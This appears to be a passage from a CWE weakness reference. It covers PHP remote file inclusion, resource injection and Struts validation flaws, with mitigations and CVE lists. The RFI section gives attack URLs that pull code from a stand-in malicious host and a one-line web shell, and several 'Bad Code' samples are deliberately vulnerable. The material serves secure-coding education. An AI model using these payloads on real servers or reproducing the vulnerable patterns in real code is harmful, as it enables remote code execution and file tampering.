Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

Demonstrative Examples

The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.

PHP Example:*Bad Code*

```
$dir = $_GET['module_name'];
include($dir . "/function.php");
```

The problem with the above code is that the value of \$dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:

Attack

```
victim.php?module_name=http://malicious.example.com
```

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

Bad Code

```
system($_GET['cmd']);
```

An attacker could now go a step further in our example and provide a request string as follows:

Attack

```
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
```

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by victim.php to execute the potentially malicious command, in this case:

Attack

```
/bin/ls -l
```

Note that the above PHP example can be mitigated by setting `allow_url_fopen` to false, although this will not fully protect the code. See potential mitigations.

Observed Examples

Reference	Description
CVE-2002-1704	PHP remote file include.
CVE-2002-1707	PHP remote file include.
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0127	Directory traversal vulnerability in PHP include statement.
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion.
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-1681	PHP remote file include.
CVE-2005-1864	PHP file inclusion.
CVE-2005-1869	PHP file inclusion.
CVE-2005-1870	PHP file inclusion.
CVE-2005-1964	PHP remote file include.
CVE-2005-1971	Directory traversal vulnerability in PHP include statement.
CVE-2005-2086	PHP remote file include.
CVE-2005-2154	PHP local file inclusion.
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses "." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
CVE-2009-1936	chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.

Potential Mitigations

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Architecture and Design

Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI `AccessReferenceMap` [R.98.1] provide this capability.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design**Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Architecture and Design**Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.98.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Architecture and Design**Operation****Identify and Reduce Attack Surface**

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Architecture and Design**Implementation****Identify and Reduce Attack Surface**

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Operation**Firewall****Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Operation**Implementation****Environment Hardening**

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Operation**Implementation****Environment Hardening**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of `register_globals` combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

Operation**Environment Hardening****High**

Set `allow_url_fopen` to `false`, which limits the ability to include files from remote locations.

Be aware that some versions of PHP will still accept `ftp://` and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

<i>CanFollow</i>		<i>473</i>	<i>PHP External Variable Modification</i>	<i>1000</i>	<i>783</i>

Relationship Notes

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.

Can overlap directory traversal in local inclusion problems.

Research Gaps

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since `.asp` extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the `.pl` extension isn't always configured to be executable by the web server.

Affected Resources

CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID: 99 (*Weakness Base*)

Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.

Extended Description

A resource injection issue occurs when the following two conditions are met:

An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.

By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server. This may enable an attacker to access or modify otherwise protected system resources.

Alternate Terms

Insecure Direct Object Reference

OWASP uses this term, although it is effectively the same as resource injection.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Integrity

Read application data

Modify application data

Read files or directories

Modify files or directories

An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as ".././tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

Java Example:

Bad Code

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 2:

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

C++ Example:

Bad Code

```
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;
```

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

Potential Mitigations**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Other Notes

A resource injection issue occurs when the following two conditions are met:

An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.

By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

Note: Resource injection that involves resources stored on the filesystem goes by the name path manipulation and is reported in a separate category. See the path manipulation description for further details of this vulnerability.

ParentOf	B	914	<i>Improper Control of Dynamically-Identified Variables</i>	699 1000	1325

Relationship Notes

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Resource Injection
Software Fault Patterns	SFP24	Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.10)
10	Buffer Overflow via Environment Variables	
75	Manipulating Writeable Configuration Files	
240	Resource Injection	

Maintenance Notes

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

CWE-100: DEPRECATED: Technology-Specific Input Validation Problems

Category ID: 100 (Deprecated Category)

Status: Deprecated

Description

Summary

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

CWE-101: DEPRECATED: Struts Validation Problems

Category ID: 101 (Deprecated Category)

Status: Deprecated

Description

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-69 9), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-102: Struts: Duplicate Validation Forms

Weakness ID: 102 (*Weakness Variant*) **Status:** Incomplete

Description

Summary

The application uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

Extended Description

If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

Two validation forms with the same name.

XML Example:

Bad Code

```
<form-validation>
  <formset>
    <form name="ProjectForm"> ... </form>
    <form name="ProjectForm"> ... </form>
  </formset>
</form-validation>
```

It is critically important that validation logic be maintained and kept in sync with the rest of the application.

Potential Mitigations

Implementation

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

Weakness Ordinalities

Primary (*where the weakness exists independent of other weaknesses*)

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Duplicate Validation Forms
Software Fault Patterns	SFP24	Tainted input to command

CWE-103: Struts: Incomplete validate() Method Definition

Weakness ID: 103 (Weakness Variant)

Status: Draft

Description**Summary**

The application has a validator form that either does not define a `validate()` method, or defines a `validate()` method but does not call `super.validate()`.

Extended Description

If you do not call `super.validate()`, the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Java

Common Consequences**Other****Other**

Disabling the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.

Confidentiality**Integrity****Availability****Other****Other**

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Demonstrative Examples

In the following Java example the class `RegistrationForm` is a Struts framework `ActionForm` Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the `RegistrationForm` bean in the Struts framework will maintain the user data. The `RegistrationForm` class implements the `validate` method to validate the user input entered into the form.

Java Example:*Bad Code*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
        ActionErrors errors = new ActionErrors();
        if (getName() == null || getName().length() < 1) {
            errors.add("name", new ActionMessage("error.name.required"));
        }
        return errors;
    }
    // getter and setter methods for private variables
    ...
}
```

Although the `validate` method is implemented in this example the method does not call the `validate` method of the `ValidatorForm` parent class with a call `super.validate()`. Without the call to the parent

validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.

Java Example:

Good Code

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
        ActionErrors errors = super.validate(mapping, request);
        if (errors == null) {
            errors = new ActionErrors();
        }
        if (getName() == null || getName().length() < 1) {
            errors.add("name", new ActionMessage("error.name.required"));
        }
        return errors;
    }
    // getter and setter methods for private variables
    ...
}
```

Potential Mitigations**Implementation**

Implement the validate() method and call super.validate() within that method.

Background Details

The Struts Validator uses a form's validate() method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a validate() method that is part of the validation framework: ValidatorForm, ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If you create a class that extends one of these classes, and if your class implements custom validation logic by overriding the validate() method, you must call super.validate() in your validate() implementation.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page

Relationship Notes

This could introduce other weaknesses related to missing input validation.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Erroneous validate() Method
Software Fault Patterns	SFP24	Tainted input to command

Maintenance Notes

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.

CWE-104: Struts: Form Bean Does Not Extend Validation Class

Weakness ID: 104 (*Weakness Variant*)**Status:** Draft**Description****Summary**

If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Java

Common Consequences**Other****Other**

Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.

Confidentiality**Integrity****Availability****Other****Other**

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Demonstrative Examples

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Java Example:*Bad Code*

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the Bean object to use for validating input data. The following Java example shows the RegistrationForm class extending the ValidatorForm class and implementing the validate method for validating input data.

Java Example:*Good Code*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
```

```

...
public RegistrationForm() {
    super();
}
public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
// getter and setter methods for private variables
...
}

```

Note that the ValidatorForm class itself extends the ActionForm class within the Struts framework API.

Potential Mitigations

Implementation

Ensure that all forms extend one of the Validation Classes.

Background Details

In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. You must extend one of these classes because the Struts Validator ties in to your application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		20	Improper Input Validation	699 700	17

Software Fault Patterns	SFP24	Tainted input to command

CWE-105: Struts: Form Field Without Validator

Weakness ID: 105 (Weakness Variant)

Status: Draft

Description

Summary

The application has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.

Extended Description

Omitting validation for even a single input field may give attackers the leeway they need to compromise the application. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Modes of Introduction

Some applications use the same ActionForm for more than one purpose. In situations like this, some fields may go unused under some action mappings.

Common Consequences

Integrity**Unexpected state****Integrity****Bypass protection mechanism**

If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.

Demonstrative Examples

In the following example the Java class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

Result

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

The validator XML file, validator.xml, provides the validation for the form fields of the RegistrationForm.

XML Example:*Bad Code*

```
<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
        <arg position="0" key="prompt.name"/>
      </field>
      <field property="address" depends="required">
        <arg position="0" key="prompt.address"/>
      </field>
      <field property="city" depends="required">
        <arg position="0" key="prompt.city"/>
      </field>
      <field property="state" depends="required,mask">
        <arg position="0" key="prompt.state"/>
        <var>
          <var-name>mask</var-name>
          <var-value>[a-zA-Z]{2}</var-value>
        </var>
      </field>
      <field property="zipcode" depends="required,mask">
        <arg position="0" key="prompt.zipcode"/>
        <var>
          <var-name>mask</var-name>
          <var-value>d{5}</var-value>
        </var>
      </field>
    </form>
  </formset>
</form-validation>
```

However, in the previous example the validator XML file, validator.xml, does not provide validators for all of the form fields in the RegistrationForm. Validator forms are only provided for the first five of the seven form fields. The validator XML file should contain validator forms for all of the form fields for a Struts ActionForm bean. The following validator.xml file for the RegistrationForm class contains validator forms for all of the form fields.

XML Example:

Good Code

```
<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
        <arg position="0" key="prompt.name"/>
      </field>
      <field property="address" depends="required">
        <arg position="0" key="prompt.address"/>
      </field>
      <field property="city" depends="required">
        <arg position="0" key="prompt.city"/>
      </field>
      <field property="state" depends="required,mask">
        <arg position="0" key="prompt.state"/>
        <var>
          <var-name>mask</var-name>
          <var-value>[a-zA-Z]{2}</var-value>
        </var>
      </field>
      <field property="zipcode" depends="required,mask">
        <arg position="0" key="prompt.zipcode"/>
        <var>
          <var-name>mask</var-name>
          <var-value>d{5}</var-value>
        </var>
      </field>
      <field property="phone" depends="required,mask">
        <arg position="0" key="prompt.phone"/>
        <var>
          <var-name>mask</var-name>
          <var-value>^\([0-9]{3}\)-\([0-9]{4}\)[0-9]{4}$</var-value>
        </var>
      </field>
      <field property="email" depends="required,email">
        <arg position="0" key="prompt.email"/>
      </field>
    </form>
  </formset>
</form-validation>
```

Potential Mitigations**Implementation**

Ensure that you validate all form fields. If a field is unused, it is still important to constrain it so that it is empty or undefined.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		20	Improper Input Validation	699 700 1000	17

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Form Field Without Validator
Software Fault Patterns	SFP24	Tainted input to command

CWE-106: Struts: Plug-in Framework not in Use

Weakness ID: 106 (Weakness Variant)

Status: Draft

Description

Summary

When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.

Extended Description

Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data.

Java Example:

Bad Code

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does use the Struts validator plug-in to provide validator capabilities. In the following example, the RegistrationForm Java class extends the ValidatorForm and Struts configuration XML file, struts-config.xml, instructs the application to use the Struts validator plug-in.

Java Example:

Good Code

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

The plug-in tag of the Struts configuration XML file includes the name of the validator plug-in to be used and includes a set-property tag to instruct the application to use the file, validator-rules.xml, for default validation rules and the file, validation.XML, for custom validation.

XML Example:

Good Code

```
<struts-config>
  <form-beans>
    <form-bean name="RegistrationForm" type="RegistrationForm"/>
  </form-beans>
  ...
  <!-- ===== Validator plugin ===== -->
  <plug-in className="org.apache.struts.validator.ValidatorPlugIn">
    <set-property
      property="pathnames"
      value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
  </plug-in>
</struts-config>
```

Potential Mitigations**Architecture and Design****Input Validation****Libraries or Frameworks**

Use an input validation framework such as Struts.

Implementation**Input Validation****Libraries or Frameworks**

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in your configuration of the Struts Validator. Example uses of the validator include checking to ensure that:

- Phone number fields contain only valid characters in phone numbers
- Boolean values are only "T" or "F"
- Free-form strings are of a reasonable length and composition

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Plug-in Framework Not In Use

CWE-107: Struts: Unused Validation Form

Weakness ID: 107 (Weakness Variant)

Status: Draft

Description**Summary**

An unused validation form indicates that validation logic is not up-to-date.

Extended Description

It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.

Time of Introduction

- Implementation

- Operation

Applicable Platforms

Languages

- Java

Common Consequences

Other

Quality degradation

Demonstrative Examples

In the following example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

Java Example:

Bad Code

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    // no longer using the phone form field
    // private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

XML Example:

Bad Code

```
<form-validation>
<formset>
<form name="RegistrationForm">
<field property="name" depends="required">
<arg position="0" key="prompt.name"/>
</field>
<field property="address" depends="required">
<arg position="0" key="prompt.address"/>
</field>
<field property="city" depends="required">
<arg position="0" key="prompt.city"/>
</field>
<field property="state" depends="required,mask">
<arg position="0" key="prompt.state"/>
<var>
<var-name>mask</var-name>
<var-value>[a-zA-Z]{2}</var-value>
</var>
</field>
<field property="zipcode" depends="required,mask">
<arg position="0" key="prompt.zipcode"/>
<var>
<var-name>mask</var-name>
<var-value>\d{5}</var-value>
</var>
</field>
<field property="phone" depends="required,mask">
<arg position="0" key="prompt.phone"/>
<var>
<var-name>mask</var-name>
<var-value>^[0-9]{3}(-)[0-9]{4}[0-9]{4}$</var-value>
```

```

</var>
</field>
<field property="email" depends="required,email">
  <arg position="0" key="prompt.email"/>
</field>
</form>
</formset>
</form-validation>

```

However, the validator XML file, validator.xml, for the RegistrationForm class includes the validation form for the user input form field "phone" that is no longer used by the input form and the RegistrationForm class. Any validation forms that are no longer required should be removed from the validator XML file, validator.xml.

The existence of unused forms may be an indication to attackers that this code is out of date or poorly maintained.

Potential Mitigations

Implementation

Remove the unused Validation Form from the validation.xml file.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Unused Validation Form

CWE-108: Struts: Unvalidated Action Form

Weakness ID: 108 (Weakness Variant)

Status: Incomplete

Description

Summary

Every Action Form must have a corresponding validation form.

Extended Description

If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other

Other

If an action form mapping does not have a validation form defined, it may be vulnerable to a number of attacks that rely on unchecked input. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.

Confidentiality
Integrity
Availability
Other
Other

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Potential Mitigations

Implementation
Input Validation

Map every Action Form to a corresponding validation form.

An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of validation. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name		Page	
